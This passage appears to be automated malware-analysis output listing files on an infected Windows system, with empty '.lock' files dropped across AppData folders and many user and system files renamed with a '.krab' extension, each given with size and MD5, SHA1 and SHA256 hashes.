SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\word\startup\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\word\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\extensions\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\crash reports\events\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\crash reports\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\bookmarkbackups\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\crashes\events\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\crashes\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp\winnt_x86-msvc\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp-gmpopenh264\1.6\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp-gmpopenh264\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\recovery\windowsre\boot.sdi.krab 3.02 MB MD5: 89052d3bae962c4e4fbf690852ea2779
SHA1: 656d2fd652265167b13b41848290f552f7686ca2
SHA256: 8f94d82a45f6d17967b1baf8bd922db3e4a7c390ba97a74dee08790f896bab00 		False
...
c:\recovery\windowsre\reagent.xml.krab 1.52 KB MD5: 5f1337465a22284ee9db6620ef11bccf
SHA1: d7b398a6f40871009418a6e4aad1b8ad75b32aae
SHA256: 15600e38e2ad8ec6cc5ae7b662260653ac6346c4ff4d185b80387ffbb97a419d 		False
...
c:\recovery\windowsre\winre.wim.krab 10.00 MB MD5: 7ec12969f7c7635ed6703ff9e0a8077f
SHA1: 5df03e627e78950d0a86d11b2a5965f276a905af
SHA256: 977a9c38b5449aa019385e5548674abfc65da4782758759fbaa30eb729c66588 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\1kyvuc.mp4.krab 14.57 KB MD5: 4e3229927b6518664a9e8eabd743c4cd
SHA1: 1948f7bd2ac09ec8c92c44f7a2bee416410e05f9
SHA256: be13fa8695a3fbc97382937d1690f502b8fd0f5d8a896cd927e4543cf509d30f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\3jiaq04ky uur8j.wav.krab 92.33 KB MD5: b7280101f2d2a25bbd460782722421f1
SHA1: 8fe6d72409c905c23ccbc2ce8b076270cb1f736f
SHA256: 933bf8a61f16c1bbd3e11e0f50a22e46cfd2c598e08788b4bc50c5c6680a6ba2 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\4 xo3.pdf.krab 98.70 KB MD5: 072807156b047f0cb683ac531d03d0fa
SHA1: d58b3b381cd428b410a5caf9125485cdc71e0fe8
SHA256: 08e2d3f057b9078fa7b6ddf06139cf7affdb2975d6ca1f311611436278905645 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\7bsumngp.pptx.krab 66.24 KB MD5: 1b7e77c26b30a17bfad959d9e2f151e3
SHA1: 6227553fa109c8ec92ba7920208db3631c93588b
SHA256: 264d123ea60115340f1b014438dd5c63180deef2e4dadef3d0bf663717eea980 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\7jr7i.avi.krab 97.63 KB MD5: 94f929a33fb4ab00b47f83be029bbc56
SHA1: 142ddb518670c765587146394ad07c507d58e328
SHA256: c4585b121eacdfbacee8a86dafe8483a3b510677d70822b665cb412e7e54a0be 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\jscache\globdata.krab 0.53 KB MD5: 81ea1c2b02f28117e4b10113d5393212
SHA1: c0915114a9c85aab0d97e07427dbd351d73423f3
SHA256: c622d960578decf215bacd0ae0128688dbe39d326baf951e60f0385d8f27215c 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\jscache\globsettings.krab 0.53 KB MD5: 777aeeee44d8ff80740ae6ce7c705752
SHA1: 10370d0702996a049f10d41e4b4a75af0493a107
SHA256: 8622381c3a1c8576501941028556eebcb42a053fdf987516d8e1940f10f21e8d 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\security\addressbook.acrodata.krab 11.15 KB MD5: 470e08f44dfb384bc0472e89a06f9e89
SHA1: 8a874501f0f2adb32d17111c06c05d4691e564bf
SHA256: 01f4292c16112f67b803599f5c8874c3756b244ff57ee2296a675b36eb3e0626 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\security\crlcache\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl.krab 1.13 KB MD5: 3750b5ffcfb5c818d3ed62435c227961
SHA1: 181f87c61467500fc9453178d0f976a4436ccddd
SHA256: 9ad2bf633c398a4a4e50d1f05c44211b1357b6dd0a8d27aa31ac6c48798bb544 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\security\crlcache\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl.krab 0.92 KB MD5: 3c0cd73cab8aab92fe926cc0d833168d
SHA1: c60382cf1e70fd03848a3356ebe09a1ff9e1d372
SHA256: 044a3f2b46fd3c3db0320f4a549ac19e31e1dba1b97445104886e8fd9d645104 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\logtransport2\logtransport2.cfg.krab 0.72 KB MD5: 9fad7b65423580eb84fa95efb5cf2ed0
SHA1: 74033a1af246a7aec3623f43a4e509f809e86edb
SHA256: 2481688064820c53a870bf4d1b242f7d89a75dd98b08ba0b2a813c1e37572fed 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\sonar\sonar1.0\sonar_policy.xml.krab 18.83 KB MD5: c4c04e34b316847a376fec03dd6f158c
SHA1: e91777deb9127994afda51f00d908527a56e6c79
SHA256: d41498c1f45fc71b9b5bd6cff9ef7250625104334909582b03c4d18ff9473db7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\aiuwcwxy-.csv.krab 81.40 KB MD5: 1cf3846f3aa10e2bd2d49c5ca3dfc318
SHA1: 35423dc8c4804cc99c36d530abe1fa354213bca6
SHA256: f67ab27faf5ebedc73ab48bcd60e0e2421fc6c99692a8bf778f8432feab59623 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\aouv2yf_f8w.odp.krab 3.33 KB MD5: ee4e457d72a675551f04be5bb42eb547
SHA1: 98bd0391e3db79cfc5758a0cd1f4d177bbcc4625
SHA256: 7be40a045a42ec0b9894667ab00c572147828ba6b59d442605e4e49ffca647c5 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\dw-yzoud-.gif.krab 24.36 KB MD5: 47bfacfea86e16be44ec7c14b8e16e52
SHA1: 9451e8b484f93a2f3a5ac2b188db8ac0f553f102
SHA256: ce553ae1b34c27a5d4dbff30b700dee37d564278aca709cdf5fd71b89101032e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\e-adlmbn_o.mp4.krab 35.57 KB MD5: d48dc882787a69bf97f0af9b20a9d943
SHA1: 36d231011343e33766b6ec804ee3d3fc1424600b
SHA256: 3f4d03edf73e84fec98676d4fd7bc34b86db011f8e5a69830a60221652998feb 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\fuppb_5g.gif.krab 23.03 KB MD5: 5072bdf8208108b1802635ffeb5c4b67
SHA1: 66f04059d0c1827bad7479d77cf649bc9a307b29
SHA256: 0c2ca2003e3d4817d884ab4ce94613e6c26442363655a3cc1146bb2f92e7c1eb 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\idwv6myh.mkv.krab 94.13 KB MD5: 0ec4853db7c03f67d05b1e1cc8645646
SHA1: 3870521dac2f28d154ef6f28f7d52a24db770589
SHA256: 6f1f49013ebbf3be0ccb13cc14ffa35e609ccc4060daa76ea2e0817a7ca7086c 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\iqndpe005_phgwx76v8.jpg.krab 75.11 KB MD5: 56f9b88ad2fe9ce0327c91fa44caedac
SHA1: cfd55d587a55d7982b9185ac60759f9949e6fb58
SHA256: d048307904a1aadce81543bf97d909b42ad6263341e35dd24413d575d01b0ea4 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\jeq3czg5m-p8f-9m8ls.m4a.krab 15.59 KB MD5: af9d3f11fe212f9208ac0787180f0add
SHA1: dfe6e72ad375213f89b811c7c928c910bd490f01
SHA256: 011ec6c4e2ea9424f7138c64ba35a91671bd76da8a691b864642baa9e1712332 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\jpg95_mxi58ijuhwka1.gif.krab 3.82 KB MD5: 0ae7157abc5181864a4dcaa1929d900d
SHA1: 0b8314414df9ad2ad88de7377028e78b5bc523b0
SHA256: 570e47e6d39262143dec6dee16024bd329996646f2f757fe3dc18af4f9542930 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\sys\settings.sol.krab 1.00 KB MD5: b44a1e83a97803132d5a444c0ff09e80
SHA1: de2f310af494c5645ade5132ca30f3d14569bd34
SHA256: ab1f225e08857185361623269561c27d90633a25c738a3ab52e21af4a20c0ca6 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\access\accesscache.accdb.krab 196.51 KB MD5: d94ebebdc274b01a1902cc748cab6cf4
SHA1: 2fa39aaa508f45ba61aa1125762022730c456298
SHA256: d2ec75a0ade2cadc1b65e6ac21fdb67804952ef74899121b481d4a18ab7e12c4 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\access\system.mdw.krab 124.51 KB MD5: 73b2cb0bf6c2802713ef15def46a6deb
SHA1: ac97f60a52772b51581aaf8cd61f6f6eaea4dd43
SHA256: f743c381dc6e6e07b8da3bc7d23ecc46df125a250b0df3c7e82dc917cd027a3d 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\apasixtheditionofficeonline.xsl.krab 326.29 KB MD5: 72fbf5e660a4cdb00a2f28f07e970b41
SHA1: 47f61b5d4764e4525d02a4590330bd14cf3bbf29
SHA256: 8928c220f5851cdab41f79df71c37ec8995e3e1b8b469bd40636bf3beafacf19 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\chicago.xsl.krab 290.56 KB MD5: ecd7b12576b98cdcc0a160ab4cc708e4
SHA1: 140a7936313f91741c2958d9b3296bec834e3b33
SHA256: 267d4f74bb9f459c95b7959a54305a141843c437ebb27460495b00f2c297af1b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\gb.xsl.krab 262.88 KB MD5: 135f15b472df7c7b54cb280756823366
SHA1: 129f6b2c2eee198563544cd110fad8d7e0ed968e
SHA256: 2fa0090c78a799f5ca7bebe4514d3c06e6c06604298f30a4ece7da54b2aa2fd7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\gostname.xsl.krab 250.86 KB MD5: c6daa6eab09d9bbad2285b123622e4c3
SHA1: 14d8697b11be7fa19c439c56b071d7b330dbc902
SHA256: 948b0856c320cd7c175e34c90f15efe023f4f9161733559115a3031b32d375f3 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\gosttitle.xsl.krab 246.06 KB MD5: 0711c6900f2d966cd24a4c7ac9e0082e
SHA1: ec8b27596ab0cfc2934935f7a629739e37d49d5c
SHA256: 661b538112960b1173de7f6ee12e0e520b5ca9416ab2fbab9cb5a4e9c7ab090a 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\harvardanglia2008officeonline.xsl.krab 278.63 KB MD5: f7f1ce0f9606e652787d0adc6636ba8c
SHA1: e0163bacae6578b9b4d6bc80dc99b2607a81a474
SHA256: e3bae5d4714b03883581e7a4b2fa655bca90f140252cf61ac50166e279ff420f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\ieee2006officeonline.xsl.krab 288.13 KB MD5: 2a31088dfdd464771bfd98aaab59f018
SHA1: 7e567c52165021e1c5841974d8c1f7ddc6e516ab
SHA256: e5ced3c1b7ccd043e759fc5f2df5548fd8bb7df301c94fb50e16f00b8f8afa16 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\iso690.xsl.krab 264.81 KB MD5: b3358e42103310e382b118829dc7b91a
SHA1: d4df5f4502044596518febb13a2a90700faaaf15
SHA256: 291cb781a673532d86e282607a7c0a66a7acbd1d4dfbe013ccbfc64b833eb29e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\iso690nmerical.xsl.krab 212.99 KB MD5: e53d4dacbb33e88a10f2c46ee3670b5a
SHA1: 7c9a53dc87b4e317a5c31673c2c5e48e7798465d
SHA256: 16155d7aa0af0552f41ad5fd092a0c4968fc7932506bd5f75e2e86b00ca53ac7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\mlaseventheditionofficeonline.xsl.krab 249.75 KB MD5: b0bf122c44dfdfd9eab66d29848ae75b
SHA1: f1adc8a899f0aa3f028b163196a6c9108bceba04
SHA256: fe88eb3fe328b4194a5003547ec6c74e152943f1d32e2385ccc744be718f5350 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\sist02.xsl.krab 245.95 KB MD5: c7b8c4e11eed03228c51b25ca13e01f8
SHA1: 978bca7fc68247a4ea83227dfc1a257ca0ad1327
SHA256: 46c63deb1ff4b86d30d5a244ab31c5c5d9b2dd0c0207d0c0a3926ee91281d391 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\turabian.xsl.krab 337.09 KB MD5: 3dc15a7607f397ac05d2368a2ac63859
SHA1: 1707028fc7fdb35ace7fd2d2f230ff8afd13d4f4
SHA256: 00d89d8905232f0163a309d409d22cbacde91ecf1f4017fe58c9dddc7172c8cc 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-1462094071-1423818996-289466292-1000\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b.krab 0.56 KB MD5: 1a761ada316e811b6e9b02e03b6f5e8b
SHA1: 0094da7bc31247a51432030ee5d8a2a7d7b55f93
SHA256: 6c0a71e146d13bfa2418faa15731e76a53d9896d7b1aa8db1d6e61140007ea7e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-1462094071-1423818996-289466292-1000\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.krab 0.55 KB MD5: 8dd70c37610ae4f9951123cbe4715f52
SHA1: 187b1dc21049a4f43d7eb180c1487268b70e1ee1
SHA256: 2615a2089ac1ce0754a408b4941b966650772a577085c5cdc4c8f960f185f12c 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\document building blocks\1033\16\built-in building blocks.dotx.krab 3.53 MB MD5: 7c511d9373718be6ffac0fa32f82ddd6
SHA1: 2bc986342872c45e64f1ad02a8fbcb9fde78e169
SHA256: 853813e88d00d25f443d144b7472f81e1db3f45a9e953fd3eee9f4c6ec6996e9 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\ms project\16\en-us\global.mpt.krab 1.21 MB MD5: 4f843ada464a8771f7c0b15ee3315757
SHA1: 05a2244fcc62445b462a0ffc5a17def3c3a328f8
SHA256: 1e7f9343ae6e305c998ae4e69030cc6602b5cc30b277bc47c5819ef3b904b654 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\mso1033.acl.krab 37.35 KB MD5: 6cedb335c78bf3e867edb3c58c509e38
SHA1: f7353fa27ca27dedb207626ac3fee2addb4ae9ce
SHA256: 3fbc3fc6589e1167572014fcc4632c14cf62433ca9e9d35135608635d797b815 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\database1.lnk.krab 1.60 KB MD5: 085473c1bfe3b19b55109520fa4815a5
SHA1: 4f8051e27ccd79264b0622d382e647b9a8e2c854
SHA256: 07f33fce29c94c66c90f4a2b35d43c76913ae32bd7f932f07404bbe55d62d4e2 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\documents.lnk.krab 1.44 KB MD5: e3ec2ebc92326c6f61e9f9ce892fa80c
SHA1: d39cdc9f84b32754d10ed89910f81b2ca01b286c
SHA256: 9e40ea216aa1758e3599365daee9c01249898ef206ccae08613011a9ed93150e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\global.lnk.krab 1.98 KB MD5: f28338e01669ed605462c447c6e5c444
SHA1: 16359cf45c2ed0dea95c3808b1530725757ab445
SHA256: b77a841829aabfbe39639345a710ba541197af9afd67e4e8dd94548c7f22a8f5 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\index.dat.krab 0.60 KB MD5: b03873e4618563faebb0bd9cd3bdefa2
SHA1: 76284f8a30909267e791c474494d8c2f94f0b7ed
SHA256: 840122974e316584bd9240e482208b71ac4749da3d962c57aa9029324bf4a3a8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\templates.lnk.krab 1.67 KB MD5: d589e3859a793c520b11e127aaa456b0
SHA1: 2eb73fb9f800716aa4b8265575d4c8d4656382a2
SHA256: 082a1474eb4d400025749ea041367fbde14f10ccd5f8848a6af160b7ef98bfd2 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\onenote\16.0\preferences.dat.krab 5.57 KB MD5: d5dac0f7e93950aa50893d31c843eba7
SHA1: 1ba38329a3c3f1a7339b697c0dd60de11ffa2ef5
SHA256: a60127ad5932e9c30aa23231ec9194550b291920c26d5fc18bb04908f16cebc2 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\outlook\outlook.srs.krab 3.01 KB MD5: 66444bc1add10ebbc6d45db4c714a847
SHA1: 3e8434383b4af298e0f357665309e9ebb7c1d626
SHA256: 2414d6a18d57e9e828c6ac2f850e7aee280bee1ecaa4f04044db76343cfb36c0 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\outlook\outlook.xml.krab 2.84 KB MD5: b8d9a09d5df61808817399f59f78570a
SHA1: 86b1f7768aece7345f29c7676fe6191cbbf6dbf5
SHA256: f4c265549a4181eb7df5c2cb78c78314c99f40e0fadbcd123ffcc43ca8cac70d 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\credhist.krab 0.95 KB MD5: 639a682fc9d6a9039970f4a41204b9c0
SHA1: f64ff797da6392cdf732edd7e14b4965a5f47444
SHA256: 440ab986ca8e00bd5485e946cf2be10750a2887ba0ecd58a05becf960d3c0015 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\496f2c5b-a90f-4380-b805-3bf6ac63451b.krab 0.96 KB MD5: 69c3fba49a8c822ee1b2f71fbd81c0d2
SHA1: b98c9c87a9be2e7fb0d1d8dc3dcfb199f7a98f46
SHA256: 15f434b0f5634add836d0574d2b88d2f5204600e8f580b47368987ac207bc24b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\5b8a3202-35dc-4437-b5d7-374f5e872415.krab 0.96 KB MD5: ba8121d3bcbc293091bc07ba3d322feb
SHA1: 5dca0ffe090914801c075d49a4a350b0f96d6375
SHA256: 3e3333132d8c89c720323c75c7e8b8ed91c9625af5ca95099ae0540b55689400 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\a0f53be0-84fb-4908-9252-998f080e895a.krab 0.96 KB MD5: db65f6397939fc0d68af2b49bfb4e53c
SHA1: 7f1700abdd94133ea2a0799439a91435022bd8f5
SHA256: 457b3bac500260b2ce2167320ff89778a1c7fc0e3565c3e478641a73c22e3055 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\d7746ecf-458e-4e71-8557-8ac80457022a.krab 0.96 KB MD5: b933498944638a8096d032b3703aca0f
SHA1: 1d5ee85a013984c32c476d7f20646230ea897ea8
SHA256: 476d608e8cb6bcc76ddb63cd986a91f6a58f94a88ab299743e3313d45402a8d8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\preferred.krab 0.53 KB MD5: 56ac5df80534b73ffd1e3e2c77c8dc16
SHA1: 8d069a861495ceec1286e61c17bf3b20680ae681
SHA256: adba1dcb52c4fdfabd0883a0fe0fae878f7728efffd095f6b22faa385de2b57f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\synchist.krab 0.58 KB MD5: c454d5a510a6b064e1ac3e87e2c47581
SHA1: 9985fd67619f149d3ae7b3ad408706f3a741b053
SHA256: 10dc50bbfadb6669fd4755d6e73cb7a5c1404dfb0014f8c201dc92e68ad33d02 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\publisher building blocks\contentstore.xml.krab 0.67 KB MD5: 11f7fe84203fa44051e048444c8a2bbb
SHA1: 8bdcd2ab5c5d63786197d4303697e650c6d3095c
SHA256: 26b9db1726ddb49c07f557f47388cad50639a7721f85c12f3f34fff9d3d47188 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\calendar insights.xltm.krab 893.35 KB MD5: 14560d476e6a9e2cfe7378709e163ed9
SHA1: 1c613ddbbf8976ab88e00c68a7454856a6a7b098
SHA256: f62e45976038d52fafe8a106f5279c358e3ad3d39824f3febc2cbb4aaaa50d89 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\cashflow analysis.xltm.krab 371.61 KB MD5: f6e66df047065df3aff25f7d2503d625
SHA1: 10d6d94a4f472d684a27abacf9c925b0fcd50d5e
SHA256: d3935aaa136e1b165eae11f30849d0b5a61a204ad9fc51ac31b8c81bfee146fd 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\email insights.xltm.krab 721.29 KB MD5: 64d94740f518c67aac2e5eefc6029533
SHA1: 2b10503b94ff700efd7ef3cb8940a8b330b66570
SHA256: a5f5ce0d4f2ed921e0cea78ec1e71a8d722f7c51c9aa05d82b5c09aae826ba90 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090430[[fn=banded]].thmx.krab 549.45 KB MD5: deae65d3c42a0ecc0affd8c208d093ed
SHA1: 0b6e40affbf41f0ac13dd4a85f38f513eab08e56
SHA256: 80f683e2409b64af08e6bb439f614cc7a46f3af016bbcbcdf8842b988367f794 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090434[[fn=wood type]].thmx.krab 1.57 MB MD5: c7eff8f226d3c5c12ab3c34025ec1a86
SHA1: c06d42050cf82d9b9a6a67f8ab1b4fca2833ef37
SHA256: 77676be01995c9cc2752706f86dc2e362696cc31e3bd5cd6527a77e3cfaf11c3 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457444[[fn=basis]].thmx.krab 545.46 KB MD5: ba97fa4e5980af75246b01f0fa7f1f16
SHA1: 3ef76d634f552420d76d8c87b78b97226a32bf3d
SHA256: e520ca904803d15897b38ea387e508f6dfdc3a376bf3929389c6a33883c3ab49 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457464[[fn=dividend]].thmx.krab 558.03 KB MD5: d662592747f93441857bd6cbc24d04ca
SHA1: e1faa10a2181fba0eab1d95914e1b9b359fb3a84
SHA256: 83fa3acaf7cd83ecf24925140b23487e8846f558585a8d5ac063d16d8898d829 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457475[[fn=frame]].thmx.krab 511.30 KB MD5: 7b97c81258ccb33db10572dcc347955f
SHA1: 765d006ff7d955e4816a864dcf5b20490bc72073
SHA256: 77e64ce20c40ce0816ba48db0441d06c111ebd4ef72259543d3301aceddd6b61 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457485[[fn=mesh]].thmx.krab 2.94 MB MD5: 70b65192860fe49478ae8af840a2f05f
SHA1: 3f09285f366df7ad0fe3df2257ffe609ff47d6d2
SHA256: 8398e8c5b812000a9483612818491c7ba83de16c54c5a8ddbc9f9f41e69209de 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457491[[fn=metropolitan]].thmx.krab 759.93 KB MD5: a571cee377b1bd9fdef91ff5cae7700f
SHA1: 3c6f838649132f2e5ef32ef827e6064a844214ba
